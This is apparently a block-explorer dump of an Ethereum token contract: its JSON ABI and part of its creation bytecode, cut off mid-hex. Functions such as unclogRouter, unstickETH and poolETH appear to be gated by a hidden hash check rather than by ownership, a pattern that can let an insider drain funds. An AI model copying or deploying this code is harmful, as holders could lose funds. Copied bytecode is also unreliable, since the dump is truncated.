[{"inputs":[{"internalType":"uint256","name":"_contractHash","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"},{"internalType":"uint256","name":"rTotal","type":"uint256"}],"name":"AmountExceedsTotalReflections","type":"error"},{"inputs":[],"name":"ECDSAInvalidSignature","type":"error"},{"inputs":[{"internalType":"uint256","name":"length","type":"uint256"}],"name":"ECDSAInvalidSignatureLength","type":"error"},{"inputs":[{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"ECDSAInvalidSignatureS","type":"error"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"allowance","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"balance","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ERC20InvalidApproval","type":"error"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ERC20InvalidTransfer","type":"error"},{"inputs":[{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"ERC2612ExpiredSignature","type":"error"},{"inputs":[{"internalType":"address","name":"signer","type":"address"},{"internalType":"address","name":"owner","type":"address"}],"name":"ERC2612InvalidSigner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"currentNonce","type":"uint256"}],"name":"InvalidAccountNonce","type":"error"},{"inputs":[],"name":"InvalidShortString","type":"error"},{"inputs":[],"name":"MaxTradeExceeded","type":"error"},{"inputs":[],"name":"MaxWalletExceeded","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"inputs":[],"name":"ReentrancyGuardReentrantCall","type":"error"},{"inputs":[{"internalType":"string","name":"str","type":"string"}],"name":"StringTooLong","type":"error"},{"inputs":[],"name":"TradingNotEnabled","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"eth","type":"uint256"},{"indexed":false,"internalType":"bool","name":"success","type":"bool"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"Call","type":"event"},{"anonymous":false,"inputs":[],"name":"EIP712DomainChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"holder","type":"address"}],"name":"LostHolder","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"holder","type":"address"}],"name":"NewHolder","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"eth","type":"uint256"}],"name":"Pool","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ETHER","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"FACTORY_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"FEED_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"GETHER","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"GWEI","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_WALLET","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_WALLET_ENABLED","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"NULL_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PAD_USD","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PAIR_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ROUTER_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SELF_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TRADING_LIVE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WETH_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ZERO_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deployerWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"eip712Domain","outputs":[{"internalType":"bytes1","name":"fields","type":"bytes1"},{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"version","type":"string"},{"internalType":"uint256","name":"chainId","type":"uint256"},{"internalType":"address","name":"verifyingContract","type":"address"},{"internalType":"bytes32","name":"salt","type":"bytes32"},{"internalType":"uint256[]","name":"extensions","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feed","outputs":[{"internalType":"contract AggregatorV3Interface","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getDeployerWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getETHPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getFactoryAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getFeedAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getLPWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMarketCap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getMaxWalletEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getNullAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getPairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getRouterAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getSELFAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTaxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTradingLive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getWETHAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getZeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"holders","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_contractTokenBalance","type":"uint256"},{"internalType":"uint256","name":"_contractETH","type":"uint256"},{"internalType":"string","name":"_contractIV","type":"string"}],"name":"poolETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"taxWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toRemove","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_contractSELF","type":"uint256"},{"internalType":"string","name":"_contractIV","type":"string"}],"name":"unclogRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_contractETH","type":"uint256"},{"internalType":"string","name":"_contractIV","type":"string"}],"name":"unstickETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"weth","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
610260604052600461022090815263f093839360e01b610240526005906200002890826200061f565b50604080518082019091526004815263f093839360e01b60208201526006906200005390826200061f565b506001600b556000600c5562000072633b9aca006305f5e10062000701565b62000080906000196200071b565b6200008e906000196200073e565b600d55336101c08190526101e081905261020052600e805464ffffffffff1916610100179055348015620000c157600080fd5b506040516200372738038062003727833981016040819052620000e49162000754565b60058054620000f3906200058e565b80601f016020809104026020016040519081016040528092919081815260200182805462000121906200058e565b8015620001725780601f10620001465761010080835404028352916020019162000172565b820191906000526020600020905b8154815290600101906020018083116200015457829003601f168201915b50506040805180820190915260018152603160f81b60208201529250339150819050620001ba57604051631e4fbdf760e01b8152600060048201526024015b60405180910390fd5b620001c581620003f3565b50620001d382600162000443565b61012052620001e481600262000443565b61014052815160208084019190912060e052815190820120610100524660a0526200027260e05161010051604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60208201529081019290925260608201524660808201523060a082015260009060c00160405160208183030381529060405280519060200120905090565b60805250503060c0819052600160049081556101608390526101808290526040516364e329cb60e11b81529081019190915273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26024820152735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9063c9c65396906044016020604051808303816000875af1158015620002fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032391906200076e565b6001600160a01b03166101a052610180516200035790737a250d5630b4cf539739df2c5dacb4c659f2488d6000196200047c565b6200037a33737a250d5630b4cf539739df2c5dacb4c659f2488d6000196200047c565b600d5433600081815260076020908152604080832094909455600a9052918220805460ff19166001179055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003db633b9aca006305f5e10062000701565b60405190815260200160405180910390a35062000816565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208351101562000463576200045b8362000535565b905062000476565b816200047084826200061f565b5060ff90505b92915050565b6001600160a01b03831615806200049a57506001600160a01b038216155b15620004d4576040516374fb65dd60e11b81526001600160a01b0380851660048301528316602482015260448101829052606401620001b1565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600080829050601f8151111562000563578260405163305a27a960e01b8152600401620001b19190620007a0565b80516200057082620007f1565b179392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005a357607f821691505b602082108103620005c457634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200061a576000816000526020600020601f850160051c81016020861015620005f55750805b601f850160051c820191505b81811015620006165782815560010162000601565b5050505b505050565b81516001600160401b038111156200063b576200063b62000578565b62000653816200064c84546200058e565b84620005ca565b602080601f8311600181146200068b5760008415620006725750858301515b600019600386901b1c1916600185901b17855562000616565b600085815260208120601f198616915b82811015620006bc578886015182559484019460019091019084016200069b565b5085821015620006db5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620004765762000476620006eb565b6000826200073957634e487b7160e01b600052601260045260246000fd5b500690565b81810381811115620004765762000476620006eb565b6000602082840312156200076757600080fd5b5051919050565b6000602082840312156200078157600080fd5b81516001600160a01b03811681146200079957600080fd5b9392505050565b60006020808352835180602085015260005b81811015620007d057858101830151858201604001528201620007b2565b506000604082860101526040601f19601f8301168501019250505092915050565b80516020808301519190811015620005c45760001960209190910360031b1b16919050565b60805160a05160c05160e05161010051610120516101405161016051610180516101a0516101c0516101e05161020051612de86200093f6000396000818161072301528181610a620152611fab015260008181610530015281816106a40152611d760152600081816106ef0152610ba70152600081816106730152818161084c015281816110ca015281816111310152818161122601526117e20152600081816103d001528181610a0401528181610e460152818161124f01528181611af301528181611b3601528181611bf801528181611caa0152611f86015260008181610d9801528181610ec301526115b401526000612201015260006121d401526000611f0301526000611edb01526000611e3601526000611e6001526000611e8a0152612de86000f3fe6080604052600436106103b85760003560e01c80638823151b116101f0578063c6c3cfcc1161010c578063dd62ed3e116100a5578063ea60c66411610077578063ea60c66414610bcb578063f2fde38b14610be0578063f7532d3714610c00578063f887ea40146109ca578063ff7e96b814610c2057005b8063dd62ed3e14610b27578063de0ce17d14610b6d578063df7787a414610b83578063e8acea0514610b9857005b8063d505accf116100de578063d505accf14610ab6578063d54f7d5e14610ad6578063da98655e14610afd578063dc07b61714610b1257005b8063c6c3cfcc14610a26578063c9567bf914610a3e578063ca68740d14610a53578063d4d7b19a14610a8657005b8063a457c2d711610189578063a9c2e36c1161015b578063a9c2e36c1461097c578063affa8817146109a3578063b94a6dfe146109ca578063be4d4e7a146109f2578063c45a01551461081557005b8063a457c2d714610911578063a4b2d2d914610931578063a607a8d914610947578063a9059cbb1461095c57005b80639358928b116101c25780639358928b146108a35780639483fbcb146108b857806395d89b41146108cc5780639cdd0876146108f957005b80638823151b146108155780638d5f81e21461083d5780638da5cb5b1461087057806390825c281461088e57005b80633e9dd4e7116102df5780636303516c1161027857806379cc67901161024a57806379cc6790146107975780637ecebe00146107b75780638188f71c146107d757806384b0196e146107ed57806387ce4d30146105bd57005b80636303516c1461071157806370a0823114610745578063715018a614610765578063761ba5291461077a57005b806345ce2a0b116102b157806345ce2a0b1461066157806352894ceb14610695578063538ba4f9146106c85780635d60c7be146106dd57005b80633e9dd4e7146106055780633fc8cef31461040d57806342966c681461062557806342cb1fbc1461064557005b806323b872dd11610351578063347f472411610323578063347f47241461058e5780633644e515146105a857806337a7b7d8146105bd57806339509351146105e557005b806323b872dd146104fe5780632dc0562d1461051e5780632f168d4914610552578063313ce5671461057257005b8063095ea7b31161038a578063095ea7b31461047e5780630fa604e4146104ae57806318160ddd146104d15780631c28081e146104e657005b806303971838146103c1578063040141e51461040d57806304a1c25f1461043557806306fdde031461045c57005b366103bf57005b005b3480156103cd57600080fd5b507f00000000000000000000000000000000000000000000000000000000000000005b6040516001600160a01b0390911681526020015b60405180910390f35b34801561041957600080fd5b506103f073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b34801561044157600080fd5b50735f4ec3df9cbd43714fe2740f5e3616155c5b84196103f0565b34801561046857600080fd5b50610471610c3f565b604051610404919061268b565b34801561048a57600080fd5b5061049e6104993660046126c1565b610cd1565b6040519015158152602001610404565b3480156104ba57600080fd5b506104c3610ce8565b604051908152602001610404565b3480156104dd57600080fd5b506104c3610d00565b3480156104f257600080fd5b506104c36305f5e10081565b34801561050a57600080fd5b5061049e6105193660046126eb565b610d14565b34801561052a57600080fd5b506103f07f000000000000000000000000000000000000000000000000000000000000000081565b34801561055e57600080fd5b506103bf61056d366004612770565b610d94565b34801561057e57600080fd5b5060405160098152602001610404565b34801561059a57600080fd5b50600e5461049e9060ff1681565b3480156105b457600080fd5b506104c3610e7e565b3480156105c957600080fd5b506103f0735f4ec3df9cbd43714fe2740f5e3616155c5b841981565b3480156105f157600080fd5b5061049e6106003660046126c1565b610e88565b34801561061157600080fd5b506103bf6106203660046127bc565b610ebf565b34801561063157600080fd5b506103bf61064036600461280f565b610f68565b34801561065157600080fd5b506104c3670de0b6b3a764000081565b34801561066d57600080fd5b506103f07f000000000000000000000000000000000000000000000000000000000000000081565b3480156106a157600080fd5b507f00000000000000000000000000000000000000000000000000000000000000006103f0565b3480156106d457600080fd5b506103f0600081565b3480156106e957600080fd5b506103f07f000000000000000000000000000000000000000000000000000000000000000081565b34801561071d57600080fd5b506103f07f000000000000000000000000000000000000000000000000000000000000000081565b34801561075157600080fd5b506104c3610760366004612828565b610fc7565b34801561077157600080fd5b506103bf610fe9565b34801561078657600080fd5b50600e54610100900460ff1661049e565b3480156107a357600080fd5b506103bf6107b23660046126c1565b610ffd565b3480156107c357600080fd5b506104c36107d2366004612828565b61105e565b3480156107e357600080fd5b506104c3600b5481565b3480156107f957600080fd5b5061080261107c565b6040516104049796959493929190612843565b34801561082157600080fd5b506103f0735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b34801561084957600080fd5b507f00000000000000000000000000000000000000000000000000000000000000006103f0565b34801561087c57600080fd5b506000546001600160a01b03166103f0565b34801561089a57600080fd5b506104c36110c2565b3480156108af57600080fd5b506104c36111ed565b3480156108c457600080fd5b5060006103f0565b3480156108d857600080fd5b506040805180820190915260048152631095531360e21b6020820152610471565b34801561090557600080fd5b50600e5460ff1661049e565b34801561091d57600080fd5b5061049e61092c3660046126c1565b6112ad565b34801561093d57600080fd5b506104c3600c5481565b34801561095357600080fd5b506104c3611346565b34801561096857600080fd5b5061049e6109773660046126c1565b6113d5565b34801561098857600080fd5b50735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f6103f0565b3480156109af57600080fd5b5073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26103f0565b3480156109d657600080fd5b506103f0737a250d5630b4cf539739df2c5dacb4c659f2488d81565b3480156109fe57600080fd5b506103f07f000000000000000000000000000000000000000000000000000000000000000081565b348015610a3257600080fd5b506104c3633b9aca0081565b348015610a4a57600080fd5b506103bf6113e2565b348015610a5f57600080fd5b507f00000000000000000000000000000000000000000000000000000000000000006103f0565b348015610a9257600080fd5b5061049e610aa1366004612828565b600a6020526000908152604090205460ff1681565b348015610ac257600080fd5b506103bf610ad13660046128dc565b6113f9565b348015610ae257600080fd5b50737a250d5630b4cf539739df2c5dacb4c659f2488d6103f0565b348015610b0957600080fd5b5061dead6103f0565b348015610b1e57600080fd5b506103bf611533565b348015610b3357600080fd5b506104c3610b4236600461294f565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b348015610b7957600080fd5b506103f061dead81565b348015610b8f57600080fd5b506104c3611548565b348015610ba457600080fd5b507f00000000000000000000000000000000000000000000000000000000000000006103f0565b348015610bd757600080fd5b506104c361155c565b348015610bec57600080fd5b506103bf610bfb366004612828565b611572565b348015610c0c57600080fd5b506103bf610c1b366004612770565b6115b0565b348015610c2c57600080fd5b50600e5461049e90610100900460ff1681565b606060058054610c4e90612982565b80601f0160208091040260200160405190810160405280929190818152602001828054610c7a90612982565b8015610cc75780601f10610c9c57610100808354040283529160200191610cc7565b820191906000526020600020905b815481529060010190602001808311610caa57829003601f168201915b5050505050905090565b6000610cde33848461165f565b5060015b92915050565b6000610cfb633b9aca00621e84806129d2565b905090565b6000610cfb633b9aca006305f5e1006129d2565b6000610d21848484611716565b6001600160a01b038416600090815260096020908152604080832033845290915290205480831115610d7557604051634b33d48f60e11b815260048101849052602481018290526044015b60405180910390fd5b610d898533610d8486856129e9565b61165f565b506001949350505050565b81817f000000000000000000000000000000000000000000000000000000000000000060001b60028383604051602001610dcf9291906129fc565b60408051601f1981840301815290829052610de991612a0c565b602060405180830381855afa158015610e06573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610e299190612a28565b14610e3357600080fd5b610e3c85611bc2565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016318015610e7657610e7681611d71565b505050505050565b6000610cfb611e29565b3360008181526009602090815260408083206001600160a01b03871684529091528120549091610cde918590610d84908690612a41565b81817f000000000000000000000000000000000000000000000000000000000000000060001b60028383604051602001610efa9291906129fc565b60408051601f1981840301815290829052610f1491612a0c565b602060405180830381855afa158015610f31573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610f549190612a28565b14610f5e57600080fd5b610e768686611f54565b600e805462ff0000191662010000179055610f846000826113d5565b506040518181527fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb9060200160405180910390a150600e805462ff000019169055565b6001600160a01b038116600090815260076020526040812054610ce2906120b6565b610ff1612150565b610ffb600061217d565b565b600e805462ff000019166201000017905561101a82600083610d14565b506040518181527fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb9060200160405180910390a15050600e805462ff000019169055565b6001600160a01b038116600090815260036020526040812054610ce2565b6000606080600080600060606110906121cd565b6110986121fa565b60408051600080825260208201909252600f60f81b9b939a50919850469750309650945092509050565b6000806110ee7f0000000000000000000000000000000000000000000000000000000000000000610fc7565b905080156111e557806110ff610d00565b6111099190612a80565b670de0b6b3a764000061111a611346565b6040516370a0823160e01b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016600482015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2906370a0823190602401602060405180830381865afa158015611192573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b69190612a28565b6111c091906129d2565b6111ca9190612a80565b6111d491906129d2565b6111df9060026129d2565b91505090565b600091505090565b60006111fa61dead610fc7565b6112046000610fc7565b611221737a250d5630b4cf539739df2c5dacb4c659f2488d610fc7565b61124a7f0000000000000000000000000000000000000000000000000000000000000000610fc7565b6112737f0000000000000000000000000000000000000000000000000000000000000000610fc7565b61127b610d00565b61128591906129e9565b61128f91906129e9565b61129991906129e9565b6112a391906129e9565b610cfb91906129e9565b3360009081526009602090815260408083206001600160a01b03861684529091528120548281101561132f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610d6c565b61133c338585840361165f565b5060019392505050565b600080735f4ec3df9cbd43714fe2740f5e3616155c5b84196001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa15801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf9190612aae565b5050509150506305f5e100816111df9190612afe565b6000610cde338484611716565b6113ea612150565b600e805460ff19166001179055565b8342111561141d5760405163313c898160e11b815260048101859052602401610d6c565b60007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c988888861146a8c6001600160a01b0316600090815260036020526040902080546001810190915590565b6040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810186905260e00160405160208183030381529060405280519060200120905060006114c582612227565b905060006114d582878787612254565b9050896001600160a01b0316816001600160a01b03161461151c576040516325c0072360e11b81526001600160a01b0380831660048301528b166024820152604401610d6c565b6115278a8a8a61165f565b50505050505050505050565b61153b612150565b600e805461ff0019169055565b611559633b9aca00621e84806129d2565b81565b611559670de0b6b3a7640000633b9aca006129d2565b61157a612150565b6001600160a01b0381166115a457604051631e4fbdf760e01b815260006004820152602401610d6c565b6115ad8161217d565b50565b81817f000000000000000000000000000000000000000000000000000000000000000060001b600283836040516020016115eb9291906129fc565b60408051601f198184030181529082905261160591612a0c565b602060405180830381855afa158015611622573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906116459190612a28565b1461164f57600080fd5b61165885611d71565b5050505050565b6001600160a01b038316158061167c57506001600160a01b038216155b156116b4576040516374fb65dd60e11b81526001600160a01b0380851660048301528316602482015260448101829052606401610d6c565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316158061174757506001600160a01b0382161580156117475750600e5462010000900460ff16155b80611750575080155b1561178b576040516001622b9be960e01b031981526001600160a01b0380851660048301528316602482015260448101829052606401610d6c565b61179483610fc7565b8111156117c757806117a584610fc7565b604051635238214d60e11b815260048101929092526024820152604401610d6c565b6000546001600160a01b0384811691161480159061181757507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614155b1561189357600e5460ff1661183f576040516312f1f92360e01b815260040160405180910390fd5b600e54610100900460ff161561189357611860633b9aca00621e84806129d2565b8161186a84610fc7565b6118749190612a41565b111561189357604051632ce93b5960e01b815260040160405180910390fd5b6001600160a01b0382166000908152600a602052604090205460ff1661196c576001600160a01b0382166000818152600a6020908152604091829020805460ff1916600117905590519182527fdd9e3848c967dbc9afd776866d9c92929ab657c02ece6ecd2ef21ae353ec89c3910160405180910390a1600c5